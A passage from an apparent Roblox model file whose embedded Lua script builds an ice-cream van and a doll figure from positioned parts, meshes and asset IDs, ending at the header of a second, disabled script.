  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,4.533338,0.451852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.051852,1.968891,2.031854)
  Vehicle_Part.CFrame = CFrame.new(-32.091400,5.852404,176.722809) * CFrame.Angles(-0.000017,-1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 1.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Doll = Instance.new(&apos;Model&apos;, Vehicle)
  Vehicle_Doll.Name = &quot;Doll&quot;
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.051852,1.968891,2.031854)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Doll_Handle4 = Instance.new(&apos;Part&apos;, Vehicle_Doll)
  Vehicle_Doll_Handle4.Name = &quot;Handle4&quot;
  Vehicle_Doll_Handle4.formFactor = compatibility
  Vehicle_Doll_Handle4.Anchored = true
  Vehicle_Doll_Handle4.Size       = Vector3.new(0.242110,0.632946,0.242110)
  Vehicle_Doll_Handle4.CFrame = CFrame.new(-35.843643,4.489206,180.928482) * CFrame.Angles(-0.000421,0.274693,-0.719767)
  Vehicle_Doll_Handle4.BrickColor = BrickColor.new(18)
  Vehicle_Doll_Handle4.Transparency = 1.000000
  Vehicle_Doll_Handle4.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Doll_Handle4:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Doll_Handle4)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.242110,0.632946,0.242110)
      Vehicle_Doll_Handle4.Size = Vector3.new(1,1,1)
  end
  Vehicle_Doll_Handle5 = Instance.new(&apos;Part&apos;, Vehicle_Doll)
  Vehicle_Doll_Handle5.Name = &quot;Handle5&quot;
  Vehicle_Doll_Handle5.formFactor = compatibility
  Vehicle_Doll_Handle5.Anchored = true
  Vehicle_Doll_Handle5.Size       = Vector3.new(0.259404,0.501514,0.231734)
  Vehicle_Doll_Handle5.CFrame = CFrame.new(-35.584137,3.918427,180.855652) * CFrame.Angles(-0.000421,0.274695,-0.000182)
  Vehicle_Doll_Handle5.BrickColor = BrickColor.new(1003)
  Vehicle_Doll_Handle5.Transparency = 1.000000
  Vehicle_Doll_Handle5.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Doll_Handle5:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Doll_Handle5)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.259404,0.501514,0.231734)
      Vehicle_Doll_Handle5.Size = Vector3.new(1,1,1)
  end
  Vehicle_Doll_Handle7 = Instance.new(&apos;Part&apos;, Vehicle_Doll)
  Vehicle_Doll_Handle7.Name = &quot;Handle7&quot;
  Vehicle_Doll_Handle7.formFactor = compatibility
  Vehicle_Doll_Handle7.Anchored = true
  Vehicle_Doll_Handle7.Size       = Vector3.new(0.242110,0.632946,0.242110)
  Vehicle_Doll_Handle7.CFrame = CFrame.new(-35.004868,4.488945,180.691895) * CFrame.Angles(3.141173,-0.274693,2.422184)
  Vehicle_Doll_Handle7.BrickColor = BrickColor.new(18)
  Vehicle_Doll_Handle7.Transparency = 1.000000
  Vehicle_Doll_Handle7.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Doll_Handle7:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Doll_Handle7)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.242110,0.632946,0.242110)
      Vehicle_Doll_Handle7.Size = Vector3.new(1,1,1)
  end
  Vehicle_Doll_Handle8 = Instance.new(&apos;Part&apos;, Vehicle_Doll)
  Vehicle_Doll_Handle8.Name = &quot;Handle8&quot;
  Vehicle_Doll_Handle8.formFactor = compatibility
  Vehicle_Doll_Handle8.Anchored = true
  Vehicle_Doll_Handle8.Size       = Vector3.new(0.259404,0.501514,0.231734)
  Vehicle_Doll_Handle8.CFrame = CFrame.new(-35.241356,3.918358,180.758865) * CFrame.Angles(-0.000421,0.274692,-0.000181)
  Vehicle_Doll_Handle8.BrickColor = BrickColor.new(1003)
  Vehicle_Doll_Handle8.Transparency = 1.000000
  Vehicle_Doll_Handle8.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Doll_Handle8:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Doll_Handle8)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.259404,0.501514,0.231734)
      Vehicle_Doll_Handle8.Size = Vector3.new(1,1,1)
  end
  Vehicle_Doll_Music = Instance.new(&apos;Part&apos;, Vehicle_Doll)
  Vehicle_Doll_Music.Name = &quot;Music&quot;
  Vehicle_Doll_Music.formFactor = compatibility
  Vehicle_Doll_Music.Anchored = true
  Vehicle_Doll_Music.Size       = Vector3.new(0.657157,0.657157,0.311285)
  Vehicle_Doll_Music.CFrame = CFrame.new(-35.413757,4.482175,180.809143) * CFrame.Angles(-0.000421,0.274692,-0.000181)
  Vehicle_Doll_Music.BrickColor = BrickColor.new(1002)
  Vehicle_Doll_Music.Transparency = 1.000000
  Vehicle_Doll_Music.CanCollide = false
  Vehicle_Doll_Music_Baby = Instance.new(&apos;Sound&apos;, Vehicle_Doll_Music)
  Vehicle_Doll_Music_Baby.Name = &quot;Baby&quot;
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Doll_Music:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Doll_Music)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.657157,0.657157,0.311285)
      Vehicle_Doll_Music.Size = Vector3.new(1,1,1)
  end
  Vehicle_Doll_Cap = Instance.new(&apos;Part&apos;, Vehicle_Doll)
  Vehicle_Doll_Cap.Name = &quot;Cap&quot;
  Vehicle_Doll_Cap.formFactor = compatibility
  Vehicle_Doll_Cap.Anchored = true
  Vehicle_Doll_Cap.Size       = Vector3.new(1.200000,1.000000,1.600000)
  Vehicle_Doll_Cap.CFrame = CFrame.new(-35.426956,5.712903,180.793777) * CFrame.Angles(-0.000420,0.274692,-0.000180)
  Vehicle_Doll_Cap.BrickColor = BrickColor.new(194)
  Vehicle_Doll_Cap.Transparency = 1.000000
  Vehicle_Doll_Cap.CanCollide = false
  Vehicle_Doll_Cap_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Doll_Cap)
  Vehicle_Doll_Cap_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Doll_Cap_Mesh.MeshType  = Enum.MeshType.FileMesh
  Vehicle_Doll_Cap_Mesh.MeshId    = &quot;http://www.roblox.com/asset/?id=13030731&quot;
  Vehicle_Doll_Cap_Mesh.TextureId = &quot;http://www.roblox.com/asset/?id=13369097&quot;
  Vehicle_Doll_Cap_Mesh.Scale     = Vector3.new(0.700000,0.700000,0.700000)
  Vehicle_Doll_Head = Instance.new(&apos;Part&apos;, Vehicle_Doll)
  Vehicle_Doll_Head.Name = &quot;Head&quot;
  Vehicle_Doll_Head.formFactor = compatibility
  Vehicle_Doll_Head.Anchored = true
  Vehicle_Doll_Head.Size       = Vector3.new(0.345872,0.345872,0.345872)
  Vehicle_Doll_Head.CFrame = CFrame.new(-35.419693,5.222333,180.787155) * CFrame.Angles(-0.000421,0.274692,-0.000181)
  Vehicle_Doll_Head.BrickColor = BrickColor.new(18)
  Vehicle_Doll_Head.Transparency = 1.000000
  Vehicle_Doll_Head.CanCollide = false
  Vehicle_Doll_Head_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Doll_Head)
  Vehicle_Doll_Head_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Doll_Head_Mesh.MeshType  = Enum.MeshType.Head
  Vehicle_Doll_Head_Mesh.Scale     = Vector3.new(2.500000,2.500000,2.500000)
  Vehicle_Doll_Head_face = Instance.new(&apos;Decal&apos;, Vehicle_Doll_Head)
  Vehicle_Doll_Head_face.Name = &quot;face&quot;
  Vehicle_Doll_Head_face.Texture = &quot;rbxassetid://46191660&quot;
  Vehicle_Doll_Head_face.Face    = Enum.NormalId.Front
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Doll_Head:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Doll_Head)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.345872,0.345872,0.345872)
      Vehicle_Doll_Head.Size = Vector3.new(1,1,1)
  end
  Vehicle_Doll_Hair = Instance.new(&apos;Part&apos;, Vehicle_Doll)
  Vehicle_Doll_Hair.Name = &quot;Hair&quot;
  Vehicle_Doll_Hair.formFactor = compatibility
  Vehicle_Doll_Hair.Anchored = true
  Vehicle_Doll_Hair.Size       = Vector3.new(1.200000,1.000000,1.600000)
  Vehicle_Doll_Hair.CFrame = CFrame.new(-35.426956,5.712903,180.793777) * CFrame.Angles(-0.000420,0.274692,-0.000180)
  Vehicle_Doll_Hair.BrickColor = BrickColor.new(194)
  Vehicle_Doll_Hair.Transparency = 1.000000
  Vehicle_Doll_Hair.CanCollide = false
  Vehicle_Doll_Hair_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Doll_Hair)
  Vehicle_Doll_Hair_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Doll_Hair_Mesh.MeshType  = Enum.MeshType.FileMesh
  Vehicle_Doll_Hair_Mesh.MeshId    = &quot;http://www.roblox.com/asset/?id=19999424&quot;
  Vehicle_Doll_Hair_Mesh.TextureId = &quot;http://www.roblox.com/asset/?id=26400954&quot;
  Vehicle_Doll_Hair_Mesh.Scale     = Vector3.new(0.700000,0.700000,0.700000)
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,1.082964,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-40.517807,2.055528,176.319153) * CFrame.Angles(-1.570796,0.927294,1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  pcall(function() Vehicle_Part_Part_to_Part_Strong_Joint = Instance.new(&apos;ManualWeld&apos;, Vehicle_Part)
  Vehicle_Part_Part_to_Part_Strong_Joint.Name = &quot;Part-to-Part Strong Joint&quot; end)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,1.082964,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(5.888894,5.055556,0.055556)
  Vehicle_Part.CFrame = CFrame.new(-29.559059,5.092047,179.593109) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(5.888894,5.055556,0.055556)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(12.592543,0.251849,0.251949)
  Vehicle_Part.CFrame = CFrame.new(-35.631039,7.727124,182.615219) * CFrame.Angles(-3.141593,0.000000,-3.141593)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Part_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Part)
  Vehicle_Part_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Part_Mesh.MeshType  = Enum.MeshType.Wedge
  Vehicle_Part_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(12.592543,0.251849,0.251949)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(5.288898,0.251849,0.251949)
  Vehicle_Part.CFrame = CFrame.new(-28.957033,7.727091,179.593094) * CFrame.Angles(-0.000000,-1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Part_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Part)
  Vehicle_Part_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Part_Mesh.MeshType  = Enum.MeshType.Wedge
  Vehicle_Part_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(5.288898,0.251849,0.251949)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(12.592604,0.251849,0.251949)
  Vehicle_Part.CFrame = CFrame.new(-35.631073,7.727124,176.570923) * CFrame.Angles(-0.000000,0.000000,-0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Part_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Part)
  Vehicle_Part_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Part_Mesh.MeshType  = Enum.MeshType.Wedge
  Vehicle_Part_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(12.592604,0.251849,0.251949)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(5.847068,0.251849,0.251949)
  Vehicle_Part.CFrame = CFrame.new(-42.051331,7.727204,179.620453) * CFrame.Angles(1.570812,-0.000017,1.575059)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Part_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Part)
  Vehicle_Part_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Part_Mesh.MeshType  = Enum.MeshType.Wedge
  Vehicle_Part_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(5.847068,0.251849,0.251949)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(5.288879,1.780428,1.851949)
  Vehicle_Part.CFrame = CFrame.new(-29.757534,2.177689,179.593109) * CFrame.Angles(3.141593,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Part_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Part)
  Vehicle_Part_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Part_Mesh.MeshType  = Enum.MeshType.Wedge
  Vehicle_Part_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(6.296135,1.180428,2.154031)
  Vehicle_Part.CFrame = CFrame.new(-30.411768,2.477689,179.593140) * CFrame.Angles(3.141593,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Part_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Part)
  Vehicle_Part_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Part_Mesh.MeshType  = Enum.MeshType.Wedge
  Vehicle_Part_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(6.296240,0.503650,1.291557)
  Vehicle_Part.CFrame = CFrame.new(-41.587730,2.816078,179.593201) * CFrame.Angles(3.141593,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Part_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Part)
  Vehicle_Part_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Part_Mesh.MeshType  = Enum.MeshType.Wedge
  Vehicle_Part_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(6.296240,0.503650,1.291557)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(6.296240,0.603650,1.537539)
  Vehicle_Part.CFrame = CFrame.new(-42.921436,2.766078,179.593201) * CFrame.Angles(-3.141593,-1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Part_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Part)
  Vehicle_Part_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Part_Mesh.MeshType  = Enum.MeshType.Wedge
  Vehicle_Part_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(6.296240,0.603650,1.537539)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(6.296240,1.005449,0.755489)
  Vehicle_Part.CFrame = CFrame.new(-40.564209,2.061511,179.593201) * CFrame.Angles(3.141593,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Part_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Part)
  Vehicle_Part_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Part_Mesh.MeshType  = Enum.MeshType.Wedge
  Vehicle_Part_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(6.296240,1.005449,0.755489)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(6.346240,1.007852,1.537539)
  Vehicle_Part.CFrame = CFrame.new(-43.950386,2.060294,179.568207) * CFrame.Angles(-3.141593,-1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Part_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Part)
  Vehicle_Part_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Part_Mesh.MeshType  = Enum.MeshType.Wedge
  Vehicle_Part_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(6.296240,0.753650,2.187540)
  Vehicle_Part.CFrame = CFrame.new(-32.246437,2.691078,179.593201) * CFrame.Angles(-3.141593,-1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Part_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Part)
  Vehicle_Part_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Part_Mesh.MeshType  = Enum.MeshType.Wedge
  Vehicle_Part_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(6.296240,0.753650,2.187540)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(6.296240,1.103650,1.137540)
  Vehicle_Part.CFrame = CFrame.new(-33.321438,2.116078,179.593201) * CFrame.Angles(-3.141593,-1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Part_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Part)
  Vehicle_Part_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Part_Mesh.MeshType  = Enum.MeshType.Wedge
  Vehicle_Part_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(6.087357,0.503690,0.508171)
  Vehicle_Part.CFrame = CFrame.new(-29.080660,4.576154,176.696777) * CFrame.Angles(-1.570796,-1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Part_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Part)
  Vehicle_Part_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Part_Mesh.MeshType  = Enum.MeshType.Wedge
  Vehicle_Part_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(6.087357,0.503690,0.508171)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(5.794394,1.402852,2.867540)
  Vehicle_Part.CFrame = CFrame.new(-44.829021,3.240459,179.594086) * CFrame.Angles(-1.570796,0.523601,1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Part_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Part)
  Vehicle_Part_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Part_Mesh.MeshType  = Enum.MeshType.Wedge
  Vehicle_Part_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.252000,1.373000,1.511000)
  Vehicle_Part.CFrame = CFrame.new(-42.934998,5.014002,177.778015) * CFrame.Angles(-0.000000,0.000000,0.261799)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Part_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Part)
  Vehicle_Part_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Part_Mesh.MeshType  = Enum.MeshType.Cylinder
  Vehicle_Part_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.252000,1.373000,1.511000)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
</ProtectedString>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX72">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">vanaction</string>
					<ProtectedString name="Source">----------------------------------------------------------------
--  Ice-Cream Van &#147;Drive-to-Pickup&#148; - 2010 Roblox compatible
